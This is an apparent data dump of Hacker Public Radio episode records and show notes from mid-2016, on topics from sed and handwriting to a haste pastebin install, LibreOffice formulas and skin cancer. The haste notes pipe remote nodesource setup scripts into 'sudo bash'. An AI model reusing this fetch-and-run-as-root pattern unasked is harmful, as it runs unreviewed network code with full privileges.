                                                            In the last episode we looked at the full story of how sed works with the hold and pattern buffers. We looked at some of the commands that we had not yet seen and how they can be used to do more advanced processing using sed's buffers.

                                                            \n

                                                            In this episode we will look at a selection of the remaining commands, which might be described as quite obscure (even very obscure). We will also look at some of the example sed scripts found in the GNU sed manual.

                                                            \n

                                                            To read the rest of the notes for this episode follow this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":90,"explicit":1,"license":"CC-BY-SA","tags":"sed,stream editor,pattern space,hold space","version":0,"downloads":0,"valid":1}, {"id":2061,"date":"2016-06-27","title":"Handwriting","duration":440,"summary":"droops argues why people should use handwriting to gain super powers","notes":"\n

                                                            Yesterday I listened to an episode of Freakonomics (https://freakonomics.com/podcast/who-needs-handwriting/) on handwriting. As a child I disliked penmanship and was horrible at it (still am). Eventually my teachers just told me to print so that they could read my answers. This is also a tech show, which should have an audience that leans toward the fact that computers are awesome. But most of you fine listeners should be interested in what is the best solution to a problem. Especially if that solution is contrary to conventional thought.

                                                            \n

                                                            Many reasons were given for handwriting to be a thing of the past and I think most of them are a lot of bull.

                                                            \n

                                                            First some more qualifications for me. I am a college dropout that did eventually graduate. Until last week I was a teacher who worked with students who were not always the best. I have been without a cell phone for two years and I love fountain pens. This probably does not qualify me for much, as I am certainly not a doctor or a scientific researcher, but I do have some real world experience and have been experimenting on my students (all in a good way).

                                                            \n

                                                            So here are some of the cons:

                                                            \n
                                                              \n
                                                            • Handwriting is old fashioned – true
                                                            • \n
                                                            • Typing is faster – true. Cursive is on average 30 words per minute.
                                                            • \n
                                                            • Hands hurt after writing – true
                                                            • \n
                                                            • Lack of success as a child demotivated me, left me “school damaged” – true
                                                            • \n
                                                            \n

                                                            These are all excuses that I have made and are all excuses my students have made. As a computer science teacher, I require all of my students to keep a handwritten notebook in my classes and they can use it on all of their tests, quizzes, and assignments. What an old fashioned stick in the mud I must be (they must have a cooler way to say this).

                                                            \n

                                                            There is nothing wrong with using tech to help with anything, but if you do not understand concepts of why and how, all the tech in the world will not help you and many people try to use tech as a crutch.

                                                            \n

                                                            Typing is faster, most students get to the point they can type everything that is said in a lecture. This skips a crucial part of learning where you use your brain to analyze what is being said. Writing is slower but should force you to put content in your own words by thinking about it and being an active listener.

                                                            \n

                                                            The pain in your hand should go away with practice, good form, and proper tools. I like fountain pens as they glide over the paper and you do not have to hold them in a death grip. Form means to use your arm, not your wrist, to write. With practice this can be done.

                                                            \n

                                                            I was bad at handwriting as a child and my teacher was wrong to tell me to stop. Part of education is to teach about failure and difficulty. If people only do the easy things who will do the hard ones? A person interviewed on Freakanomics said their school put too much emphasis on handwriting so they moved their child to a different school as this was having too much of a negative effect on his feelings. Way to teach your child to run away from hard things. I hope no college professor ever hurts his feelings to requires too much from them. Life gets harder, education should be hard to prepare students for the work of life.

                                                            \n

                                                            So enough cons, how about some pro argument.

                                                            \n

                                                            Laptops are full of distractions, most adults I know cannot focus with their email and social media trying to grab their attention.

                                                            \n

                                                            In an independent study talked about on Freakanomics, two researchers found that handwriters and laptopers had no difference in learning faces, unless they were allowed to review their notes before the quiz, where handwriters gained an edge. Concepts on the other hand, handwriters always held and almost like they thought about the concepts more than the students who just typed everything that was said.

                                                            \n

                                                            Something not really covered was writing new content. I give my students fountain pens as rewards and this makes writing so much more special. They take more time to write things and think more about what they are trying to say. This is a win-win.

                                                            \n

                                                            Now everyone is different. Please try handwriting for a few weeks and see if it helps you retain more. If you are not a student, watch a lecture on the internet or read a book and see if you learn more.

                                                            \n

                                                            Finally handwriting is personal. I am willing to mail a postcard to almost anyone that sends me their address (droops @ gmail) so that they can get that personal feeling.

                                                            \n

                                                            So I made some arguments, handwriting makes you smarter, helps you develop grit, makes you feel special, and gives you super powers. Hopefully you will try it out.

                                                            \n

                                                            This has been droops and this is Hacker Public Radio… HPR.

                                                            \n

                                                            Fountain Pen Suggestions

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":1,"series":112,"explicit":0,"license":"CC-BY-SA","tags":"handwriting, fountain pens, education, add, adhd","version":0,"downloads":0,"valid":1}, {"id":2062,"date":"2016-06-28","title":"Now The Chips Are Definitely Down","duration":2446,"summary":"Show about an interesting documentary I recently came across and new piece of hardware","notes":"\n

                                                            I’d like to start by apologising for the rather fast and excited speaking style of this show particularly towards the end, hope it doesn’t spoil the content too much, it was all done in rather a hurry.

                                                            \n

                                                            In this show I describe a thought provoking documentary I stumbled upon from 1977, the documentary is about the the silicon chip and explores the far reaching implications it will have on society.

                                                            \n

                                                            The title for the original documentary was “Now the chips are down”.

                                                            \n

                                                            I came up with the altered title “Now the chips are definitely down” to signify that not only have the changes already happened but that it’s also had a massive cost reduction impact as my newly purchased piece of equipment demonstrates.

                                                            \n

                                                            The new piece of equipment that I bought only became so affordable because of the great advances and massive reductions in cost over time. A similar piece of equipment cost me around £120 maybe ten years ago and due to inflation you can probably double the cost again. The price of my new piece of equipment was astonishingly cheap I thought though on reflection its cheap price may also be down to it being a more mass produced item than normal amateur radio equipment.

                                                            \n

                                                            Links to Horizon documentary

                                                            \n\n

                                                            Standard C510A /C510E links

                                                            \n\n

                                                            Baofeng UV-5R links

                                                            \n\n

                                                            Chirp links

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hardware, Electronics, Amateur Radio, Open Source, Linux","version":0,"downloads":0,"valid":1}, {"id":2063,"date":"2016-06-29","title":"My 3rd HPR Beer Podcast","duration":147,"summary":"Introducing 2 beers that I feel you may like","notes":"

                                                            JustMe here again.

                                                            \n

                                                            This is my 3rd HPR Beer podcast report.

                                                            \n

                                                            We're going to introduce you to two (2) beers. The first is Rebel Rider IPA & the second is Red Seal Carousel.

                                                            \n

                                                            As always, thanks for listening & supporting HPR.

                                                            \n

                                                            \n\"picture\n

                                                            \n

                                                            \n\"picture\n

                                                            \n","hostid":313,"series":14,"explicit":1,"license":"CC-BY-SA","tags":"beer tasting","version":0,"downloads":0,"valid":1}, {"id":2064,"date":"2016-06-30","title":"Test-Driving Devuan","duration":1213,"summary":"Frank Bell takes Devuan Beta out for a spin.","notes":"

                                                            Frank Bell takes the Devuan Beta for a test drive and finds it accelerates smoothly, corners nicely, and rides comfortably.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":195,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Devuan, Debian, SystemD, SysV","version":0,"downloads":0,"valid":1}, {"id":2065,"date":"2016-07-01","title":"Whats in My Bag","duration":271,"summary":"This is a short episode about what I carry in My Geek bag at various times","notes":"
                                                              \n
                                                            • 0.00 Intro

                                                            • \n
                                                            • 0.38 Lenovo x201

                                                            • \n
                                                            • 1.10 Lenovo x200 Tablet

                                                            • \n
                                                            • 1.30 Lenovo x61s

                                                            • \n
                                                            • 2.25 Raspberry Pi stuff

                                                            • \n
                                                            • 3.55 Portable HDD

                                                            • \n
                                                            • 4.24 sign off

                                                            • \n
                                                            \n","hostid":338,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"toolkit,laptop,tablet,netbook,Lenovo,Raspberry Pi,microSD,external HD","version":0,"downloads":0,"valid":1}, {"id":2066,"date":"2016-07-04","title":"HPR Community News for June 2016","duration":5832,"summary":"Dave and Ken review the last month without talking about brexit much","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n handsome_pirate, \n Tony Hughes AKA TonyH1212, \n Todd Mitchell.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2043Wed2016-06-01My First Beer PodcastJustMe
                                                            2044Thu2016-06-02Bring on the Power!NYbill
                                                            2045Fri2016-06-03Some other Bash tipsDave Morriss
                                                            2046Mon2016-06-06HPR Community News for May 2016HPR Volunteers
                                                            2047Tue2016-06-07Neo Fetch 1.5JWP
                                                            2048Wed2016-06-08The Hubot chat-botJohn Duarte
                                                            2049Thu2016-06-09My Raspberry Pi Home ServerKnightwise
                                                            2050Fri2016-06-10Developing Black & White Filmhandsome_pirate
                                                            2051Mon2016-06-13My Linux JourneyTony Hughes AKA TonyH1212
                                                            2052Tue2016-06-14A Nerdy Conversation With Linden About Technologysigflup
                                                            2053Wed2016-06-15My 2nd HPR Beer PodcastJustMe
                                                            2054Thu2016-06-16Blather Configuration Part 1: Desktop ManagementJon Kulp
                                                            2055Fri2016-06-17GNU Nano EditorJWP
                                                            2056Mon2016-06-20Interview with a young hackerTony Hughes AKA TonyH1212
                                                            2057Tue2016-06-21dodddummy on oatsdodddummy
                                                            2058Wed2016-06-22My 14th Beer PodcastJustMe
                                                            2059Thu2016-06-23More Tech, Less MagicTodd Mitchell
                                                            2060Fri2016-06-24Introduction to sed - part 5Dave Morriss
                                                            2061Mon2016-06-27Handwritingdroops
                                                            2062Tue2016-06-28Now The Chips Are Definitely DownMrX
                                                            2063Wed2016-06-29My 3rd HPR Beer PodcastJustMe
                                                            2064Thu2016-06-30Test-Driving DevuanFrank Bell
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-05-07 17:17:26 +0200
                                                              \n Subject: HPR Policy Change - HTML default in RSS Feed
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1197
                                                              \n Messages: 1

                                                            2. \n
                                                            3. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-06-08 21:58:35 +0200
                                                              \n Subject: HPR on Google Play Podcast
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1239
                                                              \n Messages: 6

                                                            4. \n
                                                            5. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-06-11 12:07:35 +0200
                                                              \n Subject: Fwd: Just hit 1000 IA uploads
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1245
                                                              \n Messages: 3

                                                            6. \n
                                                            7. From: Dave Morriss <perloid@...>
                                                              \n Date: 2016-06-11 19:52:08 +0100
                                                              \n Subject: Changes to series and the series.php page
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1248
                                                              \n Messages: 1

                                                            8. \n
                                                            9. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-06-13 11:41:35 +0200
                                                              \n Subject: Book Club
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1250
                                                              \n Messages: 1

                                                            10. \n
                                                            11. From: sigflup synasloble <pantsbutt@...>
                                                              \n Date: 2016-06-13 08:30:58 -0500
                                                              \n Subject: dos?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1251
                                                              \n Messages: 2

                                                            12. \n
                                                            13. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-06-15 16:23:59 +0200
                                                              \n Subject: Changes to the website
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1253
                                                              \n Messages: 2

                                                            14. \n
                                                            15. From: "Thaj A. Sara" <thajasara@...>
                                                              \n Date: 2016-06-15 15:17:37 -0400
                                                              \n Subject: Re: Hpr Digest, Vol 93, Issue 5
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1255
                                                              \n Messages: 1

                                                            16. \n
                                                            17. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-06-16 08:52:53 +0200
                                                              \n Subject: Re: Changes to the website
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1256
                                                              \n Messages: 1

                                                            18. \n
                                                            19. From: Clinton Roy <clinton.roy@...>
                                                              \n Date: 2016-06-17 09:37:15 +1000
                                                              \n Subject: comments rss feed
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1257
                                                              \n Messages: 5

                                                            20. \n
                                                            21. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-06-20 12:37:02 +0200
                                                              \n Subject: Live @ PodcastAwards.com on June 26th @ 8pm EST
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1262
                                                              \n Messages: 7

                                                            22. \n
                                                            23. From: Dave Morriss <perloid@...>
                                                              \n Date: 2016-06-27 19:40:22 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2016-07-02T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1269
                                                              \n Messages: 1

                                                            24. \n
                                                            25. From: "Kevin O'Brien" <zwilnik@...>
                                                              \n Date: 2016-06-27 19:17:27 -0400
                                                              \n Subject: Uploading not working?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1270
                                                              \n Messages: 1

                                                            26. \n
                                                            27. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-06-28 16:04:08 +0200
                                                              \n Subject: Upload not possible
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1271
                                                              \n Messages: 2

                                                            28. \n
                                                            29. From: Clinton Roy <clinton.roy@...>
                                                              \n Date: 2016-06-30 14:09:02 +1000
                                                              \n Subject: World map of contributors?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1273
                                                              \n Messages: 4
                                                            30. \n
                                                            \nTotal messages this month: 38
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 38 comments:

                                                            \n
                                                              \n
                                                            • hpr1976\n(2016-02-29) \"Introduction to sed - part 1\"\nby Dave Morriss.\n
                                                              • Comment 5:\nFrank on 2016-06-01:\"[no title]\"
                                                              • Comment 6:\nFrank on 2016-06-03:\n\"LO and SED\"
                                                              • Comment 7:\nDave Morriss on 2016-06-05:\n\"Regex in Libre Office\"
                                                              • \n

                                                            • \n
                                                            • hpr2013\n(2016-04-20) \"Parsing XML in Python with Xmltodict\"\nby klaatu.\n
                                                              • Comment 3:\nLuiz Rodrigo on 2016-06-28:\n\"THANKS!\"
                                                              • \n

                                                            • \n
                                                            • hpr2028\n(2016-05-11) \"Some basic info on alarm systems\"\nby schism.\n
                                                              • Comment 6:\nBill on 2016-06-03:\"[no title]\"
                                                              • Comment 7:\nFrank on 2016-06-03:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2029\n(2016-05-12) \"The DSO138 Oscilloscope Kit\"\nby NYbill.\n
                                                              • Comment 2:\nNYbill on 2016-06-04:\"[no title]\"
                                                              • Comment 3:\nDave Morriss on 2016-06-05:\n\"Pre-built kit\"
                                                              • \n

                                                            • \n
                                                            • hpr2034\n(2016-05-19) \"Frank's Five Seed Bread\"\nby Frank Bell.\n
                                                              • Comment 4:\nFrank on 2016-06-01:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2035\n(2016-05-20) \"Building Community\"\nby droops.\n
                                                              • Comment 6:\nFiftyOneFifty on 2016-06-17:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2038\n(2016-05-25) \"Attempting to fix a plastic boat\"\nby Jezra.\n
                                                              • Comment 4:\nKathy scogna on 2016-06-03:\n\"Director\"
                                                              • \n

                                                            • \n
                                                            • hpr2042\n(2016-05-31) \"My podcast list\"\nby janedoc.\n
                                                              • Comment 1:\nKevin O'Brien on 2016-05-31:\n\"Dan Carlin\"
                                                              • Comment 2:\nJon Kulp on 2016-06-01:\n\"Ask Me Another \"
                                                              • Comment 3:\nDave Morriss on 2016-06-01:\n\"Frank Delaney et al\"
                                                              • \n

                                                            • \n
                                                            • hpr2044\n(2016-06-02) \"Bring on the Power!\"\nby NYbill.\n
                                                              • Comment 1:\nrocket-dog on 2016-06-07:\"[no title]\"
                                                              • Comment 2:\nNYbill on 2016-06-11:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2047\n(2016-06-07) \"Neo Fetch 1.5\"\nby JWP.\n
                                                              • Comment 1:\nFiftyOneFifty on 2016-06-07:\n\"Neat little app, thanks\"
                                                              • \n

                                                            • \n
                                                            • hpr2049\n(2016-06-09) \"My Raspberry Pi Home Server\"\nby Knightwise.\n
                                                              • Comment 1:\npitfd on 2016-06-09:\n\"Server Setup\"
                                                              • Comment 2:\nJon Kulp on 2016-06-10:\n\"CenterIM\"
                                                              • Comment 3:\nJon Kulp on 2016-06-11:\n\"CLI word processing\"
                                                              • Comment 4:\nlaindir on 2016-06-16:\n\"Me too\"
                                                              • \n

                                                            • \n
                                                            • hpr2050\n(2016-06-10) \"Developing Black & White Film\"\nby handsome_pirate.\n
                                                              • Comment 1:\nClinton Roy on 2016-06-21:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2052\n(2016-06-14) \"A Nerdy Conversation With Linden About Technology\"\nby sigflup.\n
                                                              • Comment 1:\ngurdonark on 2016-06-20:\n\"Good listen\"
                                                              • \n

                                                            • \n
                                                            • hpr2053\n(2016-06-15) \"My 2nd HPR Beer Podcast\"\nby JustMe.\n
                                                              • Comment 1:\nFiftyOneFifty on 2016-06-17:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2054\n(2016-06-16) \"Blather Configuration Part 1: Desktop Management\"\nby Jon Kulp.\n
                                                              • Comment 1:\namunizp on 2016-06-17:\n\"Headless?\"
                                                              • Comment 2:\nJon Kulp on 2016-06-17:\n\"Probably\"
                                                              • \n

                                                            • \n
                                                            • hpr2055\n(2016-06-17) \"GNU Nano Editor\"\nby JWP.\n
                                                              • Comment 1:\namunizp on 2016-06-17:\n\"+1 for nano\"
                                                              • Comment 2:\n0xf10e on 2016-06-18:\n\"-1 for facebook, too\"
                                                              • \n

                                                            • \n
                                                            • hpr2056\n(2016-06-20) \"Interview with a young hacker\"\nby Tony Hughes AKA TonyH1212.\n
                                                              • Comment 1:\nTony Hughes on 2016-05-16:\n\"Links to Blackpool Makerspace and Jam\"
                                                              • Comment 2:\nTony Hughes on 2016-05-17:\n\"Interview with a young hacker\"
                                                              • Comment 3:\nJon Kulp on 2016-06-21:\n\"Excellent! \"
                                                              • \n

                                                            • \n
                                                            • hpr2057\n(2016-06-21) \"dodddummy on oats\"\nby dodddummy.\n
                                                              • Comment 1:\nLuke on 2016-06-30:\n\"Steel cut oats\"
                                                              • \n

                                                            • \n
                                                            • hpr2059\n(2016-06-23) \"More Tech, Less Magic\"\nby Todd Mitchell.\n
                                                              • Comment 1:\nJon Kulp on 2016-06-23:\n\"More!\"
                                                              • Comment 2:\nTodd Mitchell on 2016-06-24:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2061\n(2016-06-27) \"Handwriting\"\nby droops.\n
                                                              • Comment 1:\nBrian on 2016-06-27:\"[no title]\"
                                                              • Comment 2:\njezra on 2016-06-28:\"[no title]\"
                                                              • Comment 3:\nFrank on 2016-06-28:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr2062\n(2016-06-28) \"Now The Chips Are Definitely Down\"\nby MrX.\n
                                                              • Comment 1:\nMike Ray on 2016-06-28:\n\"Baofeng UV5R\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2067,"date":"2016-07-05","title":"Haste - the pastebin alternative","duration":556,"summary":"How to install your own haste server","notes":"

                                                            Haste

                                                            \n

                                                            A walk through of installing haste as an open source federated pastebin.com alternative.

                                                            \n

                                                            See the project at hastebin.com

                                                            \n

                                                            I ran into project this while following John Kulp’s notes on his blather intro.

                                                            \n

                                                            Installing node.js

                                                            \n

                                                            Installing via a package manager. See nodejs website for most up-to-date information. Commands given below are just for reference.

                                                            \n

                                                            RedHat based systems

                                                            \n
                                                            curl --silent --location https://rpm.nodesource.com/setup | sudo bash -\nsudo yum install -y nodejs
                                                            \n

                                                            Debian based systems

                                                            \n
                                                            curl --silent --location https://deb.nodesource.com/setup | sudo bash -\nsudo apt-get install -y nodejs
                                                            \n

                                                            Upgrade npm

                                                            \n
                                                            npm install npm -g
                                                            \n

                                                            haste-server

                                                            \n

                                                            Take a look at the haste-server project on github

                                                            \n

                                                            Clone haste-server git repository

                                                            \n
                                                            git clone https://github.com/seejohnrun/haste-server.git\ncd haste-server
                                                            \n

                                                            Choose storage method

                                                            \n

                                                            Choices

                                                            \n
                                                              \n
                                                            • file system
                                                            • \n
                                                            • redis
                                                            • \n
                                                            • memcached
                                                            • \n
                                                            \n

                                                            If you will be using the file system storage method, delete storage section in config.js using your favorite text editor.

                                                            \n

                                                            Install

                                                            \n
                                                            npm install\nnpm start &
                                                            \n

                                                            Use server

                                                            \n

                                                            You can now browse to your new haste-server at the server name or ip at port 7777. Follow the icon links on the page for usage.

                                                            \n
                                                            https://<servername>:7777
                                                            \n

                                                            Using shell to add content

                                                            \n

                                                            Create a bash alias to pipe files to the haste file server.

                                                            \n

                                                            Add the following to your .bashrc file:

                                                            \n
                                                            HASTE_SERVER='https://myserver:7777'\nhaste() { a=$(cat); curl -X POST -s -d "$a" $HASTE_SERVER/documents | awk -v server="$HASTE_SERVER" -F '"' '{print server"/"$4}'; }
                                                            \n

                                                            References

                                                            \n\n","hostid":277,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"haste,haste-server,haste-client,javascript,nodejs,npm","version":0,"downloads":0,"valid":1}, {"id":2068,"date":"2016-07-06","title":"Podcasts I listen to and how I fetch them.","duration":515,"summary":"As I drive to work, I rattle off a short list of podcasts that I listen to and how I fetch them.","notes":"\n

                                                            Subscriptions

                                                            \n

                                                            Right out of my ~./podget/serverlist:

                                                            \n\n

                                                            Tools

                                                            \n\n

                                                            Configuration

                                                            \n

                                                            I can supply my podgetrc upon request. It’s pretty basic.

                                                            \n","hostid":241,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts,podget,podracer,gPodder,RockBox,Sansa Clip+","version":0,"downloads":0,"valid":1}, {"id":2069,"date":"2016-07-07","title":"Counting Stuff in LibreOffice Calc","duration":1195,"summary":"I try to explain how to use the COUNTIF function in LibreOffice to generate reports","notes":"

                                                            When I took over as Director of the School of Music in January, one of the first things I did was to try to get a better handle on the number of faculty I had at various ranks, how many had terminal degrees, how many already had tenure, how many were on tenure track, how many held endowed professorships, and so forth. Somewhere in the process, I discovered a handy trick for generating reports for this kind of thing. It's the COUNTIF function of LibreOffice calc. In this episode I will go through some examples of ways that I've used COUNTIF to generate reports.

                                                            \n\n

                                                            Examples

                                                            \n\n

                                                            Count occurrences of the string from A6 of current sheet on other sheet Personnel in column K

                                                            \n\n
                                                            =COUNTIF($Personnel.$K$1:$K$135,Reports.A6)
                                                            \n\n

                                                            Count occurrences of explicit string on other sheet \"Personnel\" in column K

                                                            \n
                                                            =COUNTIF($Personnel.$K$1:$K$135,"=Instructor")
                                                            \n\n\n

                                                            Count greater than or equal to 50

                                                            \n
                                                            =COUNTIF($I$2:$I$105,">=50")
                                                            \n\n

                                                            Using SUMPRODUCT, count between range greater than or equal to 40 but less than 50

                                                            \n
                                                            =SUMPRODUCT($I$2:$I$105>=40,$I$2:$I$105<50)
                                                            \n\n

                                                            Look for the string from sheet \"Reports,\" cell A21, in the sheet \"Personnel\" column U, excluding any rows that have the value \"Adjunct\" in column K.

                                                            \n\n
                                                            =COUNTIFS($Personnel.$U$1:$U$135,Reports.A21,$Personnel.$K$1:$K$135,"<>Adjunct")
                                                            \n","hostid":238,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, formulas, tips and tricks","version":0,"downloads":0,"valid":1}, {"id":2070,"date":"2016-07-08","title":"Adventures with Jonathan Slocum","duration":694,"summary":"Join me on an audio video adventure with Captain Slocum and another Robert W Service ballad","notes":"\n

                                                            A 3 layer Birthday Cake

                                                            \n

                                                            With Frosting

                                                            \n

                                                            May I suggest that you partake of the layers in this order?

                                                            \n
                                                              \n
                                                            1. Voyage of the Liberdade by Joshua Slocum
                                                              \nFind the book at Gutenberg Press
                                                              \n“Project Gutenberg offers over 50,000 free ebooks: choose among free epub books, free kindle books, download them or read them online.
                                                              \nWe carry high quality ebooks: Our ebooks were previously published by bona fide publishers. We digitized and diligently proofread them with the help of thousands of volunteers.
                                                              \nNo fee or registration is required, but if you find Project Gutenberg useful, we kindly ask you to donate a small amount so we can buy and digitize more books. Other ways to help include digitizing more books, recording audio books, or reporting errors.
                                                              \nOver 100,000 free ebooks are available through our Partners, Affiliates and Resources”.
                                                              \n
                                                              \nFind the book in all available forms (HTML, EPub, Text, Kindle) at: https://www.gutenberg.org/ebooks/18541
                                                              \nThe text file is here: https://www.gutenberg.org/cache/epub/18541/pg18541.txt
                                                              \nFirst create an espeak of the text file:
                                                              \nVoyage of the Liberdade by Joshua Slocum
                                                              \nhttps://www.gutenberg.org/ebooks/18541
                                                              \nTo create an espeak run this commmand against the text file:

                                                              \n
                                                              espeak -f location_text -w output_file_here(.whatever_extension_you_want)
                                                              \n

                                                              Or read the book old school

                                                            2. \n
                                                            3. Sailing Alone Around the World by Joshua Slocum (Audio Book read by Alan Chant)
                                                              \nhttps://librivox.org/sailing-alone-around-the-world-by-joshua-slocum/

                                                            4. \n
                                                            5. A YouTube Movie that explains more about Captain Slocum.
                                                              \nhttps://www.youtube.com/watch?v=iciZer5cbJ8

                                                            6. \n
                                                            \n

                                                            The Cremation of Sam McGee Robert W. SERVICE (1874 - 1958) Read by Kristin Hughes https://ia600202.us.archive.org/28/items/cremationsammcgee_0711_librivox/sammcgee_service_klh.mp3

                                                            \n

                                                            Links

                                                            \n\n","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Joshua Slocum, Sailing Alone Around the World, Audio Books, Robert W Service, birthday Shows","version":0,"downloads":0,"valid":1}, {"id":2071,"date":"2016-07-11","title":"Undocumented features of Baofeng UV-5R Radio","duration":531,"summary":"Follow on show about undocumented features I found on my Baofeng UV-5R radio","notes":"\n

                                                            This is a short follow on show listing undocumented features I came across while playing with my new Baofeng UV-5R radio

                                                            \n

                                                            Baofeng UV-5R links

                                                            \n\n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Electronics, Amateur Radio, Open Source","version":0,"downloads":0,"valid":1}, {"id":2072,"date":"2016-07-12","title":"That Awesome Time I Deleted My Home Directory","duration":505,"summary":"sigflup deletes her home directory only to recover one important file","notes":"

                                                            Omg, Sigflup deletes her home directory! Commands in this episode include:

                                                            \n
                                                            \n\n\ngrep -b -a \"what you remember\" /dev/sd0a > /tmp/log\ndd if=/dev/sd0a bs=1 skip=12345 of=/tmp/out count=123456\n\n\n
                                                            \n

                                                            \nThis is a capture of the program that sigflup recovered. It's a mouth tracker. https://www.youtube.com/watch?v=gf2NJrXGT4U\n

                                                            ","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"filesystem, grep, dd","version":0,"downloads":0,"valid":1}, {"id":2073,"date":"2016-07-13","title":"The power of GNU Readline - part 1","duration":716,"summary":"There's a lot you can do to speed up typing by using GNU Readline. We'll explore how in this series","notes":"

                                                            The power of GNU Readline - part 1

                                                            \n

                                                            We all use GNU Readline if we we use the CLI in Linux because it manages input, line editing and command history in Bash and in many tools.

                                                            \n

                                                            I have been using Unix and later Linux since the 1980's, and gradually learnt how to do things like jump to the start or the end of the line, delete a character backwards up to a space, or delete the entire line.

                                                            \n

                                                            I think that learning GNU Readline is worthwhile since it contains a lot more features than what I just described. I thought I would do a few episodes on HPR to introduce some of what I consider to be the most useful features.

                                                            \n

                                                            I want to keep the episodes short since this is a dry subject, and, if you are anything like me, you can't take in more than a few key sequences at a time.

                                                            \n

                                                            The source of my information is the GNU Readline Manual. This is very well written, if a little overwhelming.

                                                            \n

                                                            To read the rest of the notes for this episode follow this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":102,"explicit":1,"license":"CC-BY-SA","tags":"command line,cli,GNU Readline","version":0,"downloads":0,"valid":1}, {"id":2074,"date":"2016-07-14","title":"Experience With A Neighborhood Cat","duration":915,"summary":"A show about a cat. Warning. Repeat. Warning. Contains content that will be disturbing to some.","notes":"

                                                            \nAn old friend comes home...\n

                                                            ","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cat, compassion, death, medical, hospice, friend, pet, life","version":0,"downloads":0,"valid":1}, {"id":2075,"date":"2016-07-15","title":"Skin cancer","duration":359,"summary":"My recent experience with skin cancer, and a primer on UV","notes":"\n

                                                            This is a very personal podcast, discussing minor surgery. If that sort of stuff makes you cringe at all, this may not be the recording for you. I should also point out that I am not a medical professional, you should not take this recording as medical advice, if you have any concerns about your skin, seek professional medical advice.

                                                            \n

                                                            I am a very white person living in Queensland, Australia. Our state has amongst the highest rate of skin cancers in the world, I believe we're in a tussle with New Zealand for first place at the moment.

                                                            \n

                                                            There are two main types of skin cancer, melanoma and non-melanoma. The non-melanoma type is slow growing, and rarely spreads to other parts of the body, while melanoma is fast growing and spreads to the rest of the body.

                                                            \n

